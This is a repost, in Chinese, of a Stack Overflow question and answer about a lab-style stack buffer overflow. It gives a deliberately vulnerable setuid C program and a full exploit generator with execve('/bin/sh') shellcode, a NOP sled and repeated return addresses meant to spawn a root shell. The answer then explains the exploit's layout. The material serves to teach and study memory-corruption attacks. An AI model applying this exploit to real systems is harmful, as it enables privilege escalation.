gpt4 book ai didi

C - 缓冲区溢出详细信息

转载 作者:行者123 更新时间:2023-11-30 15:16:22 25 4
gpt4 key购买 nike

这个特定问题已在 stackoverflow 上解决过几次,但我找不到任何以前的帖子来解决我遇到的一些问题。我想指出的是,我已经阅读了 Aleph One 的《Smashing the Stack for Fun and Profit》,但我的理解仍然存在差距。

我的问题是:这适用于 buffer[12] 中 bof() 中 stack.c 的各种缓冲区大小(生成根 shell)。至buffer[24] 。为什么它对 buffer[48] 不起作用(段错误) (这会导致段错误),例如(或者,需要如何修改程序才能使其适用于此类缓冲区)?

请注意,编译stack.c时使用了以下命令

# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack

ASLR 已关闭。

首先我们来看看存在漏洞的程序:stack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

以及利用这个的程序:test.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// code to spawn a shell
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
void main(int argc, char **argv)
{
FILE *badfile;
char *ptr;
long *a_ptr;
long *ret;

int offset = 450;
int bsize = 517;

char buffer[bsize];

// a_ptr will store the return address
ptr = buffer;
a_ptr = (long *) ptr;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, bsize);

/* Fill buffer with appropriate contents */
printf("Stack Pointer (ESP): 0x%x\n", get_sp());

ret = get_sp() + offset;
printf("Address: 0x%x\n", ret);

int i;
for (i = 0; i < 350; i += 4)
*(a_ptr++) = ret;

for (i = 450; i < sizeof(shellcode) + 450; i++)
buffer[i] = shellcode[i-450];

buffer[bsize - 1] = '\0';
/*Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

下面我将尝试解释我认为正在发生的事情,并记下我认为我的知识差距在哪里。如果有人有时间回顾一下这个问题并回答前面提到的问题,那么谢谢您。

显然,buffer[12]当调用 strcpy() 时,stack.c 中的内容将会溢出,因为大小为 517 的字符串被复制到大小为 12 的缓冲区中。

test.c中,我了解到我们正在创建将由stack.c读取的恶意缓冲区。该缓冲区是用一堆 NO-OP (0x90) 初始化的。除此之外,我有点困惑。

1) 在 ret = get_sp() + offset; 中将偏移量添加到 ret 有何意义? ?另外,为什么是offset = 450 ?我尝试了其他偏移量值,但该程序仍然运行(例如 460)。 450 似乎是一个碰巧有效的猜测。

2) 在for (i = 0; i < 350; i += 4) ,为什么用350?我不明白这个值的意义。我相信这个循环正在用返回地址 ret 填充缓冲区的前 350 个字节。 ,但我不明白为什么是350字节。我相信我们每次都会将 i 增加 4,因为 (long *) 是 4 个字节。如果这是真的,那么这个 350 不应该也是 4 的倍数吗?

3) 再次,位于for (i = 450; i < sizeof(shellcode) + 450; i++) (sizeof(shellcode) 是 25),为什么我们从缓冲区中的 450 开始?这就是说我们正在使用 shell 代码将 buffer[450] 填充到 buffer[475]。目前,此后的所有内容都应初始化为 NO-OP。所以呢?为什么是 450 - 475?

最佳答案

请记住,在像这样的 32 位 x86 程序中,堆栈顶部的字节从最低地址开始保存:局部变量、函数的返回地址、其参数、保存的任何寄存器由调用者、调用者的局部变量等。

该循环实际上是将 348 字节的四字节返回地址写入堆栈顶部。 (它早于 C99 和 x86_64,因此假设 long 恰好是 32 位。)这样做的目的只是为了确保,对于任何合理的局部变量存储量,返回地址都会被覆盖。它还尝试处理存在漏洞的函数从多个深度调用且堆栈顶部不再相同的情况。然后是一些带有 nop 指令的填充,因为如果函数返回到达那里的任何地方,CPU 将跳过它们。最后是机器语言的 shell 代码。重点是让返回地址指向缓冲区这部分中的任何位置。请注意,只有当漏洞利用代码可以确定调用者地址空间中堆栈指针的地址相似时,这才有效。地址空间随机化是解决这个问题的一种技术。

换句话说,代码会重复数百次,因为新进程中的内容可能不完全相同,这样,即使堆栈指针位于其期望的位置附近,它仍然可以工作。这些值是大概数字,但 Aleph One 讨论了如何找到它们。

关于C - 缓冲区溢出详细信息,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33136811/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com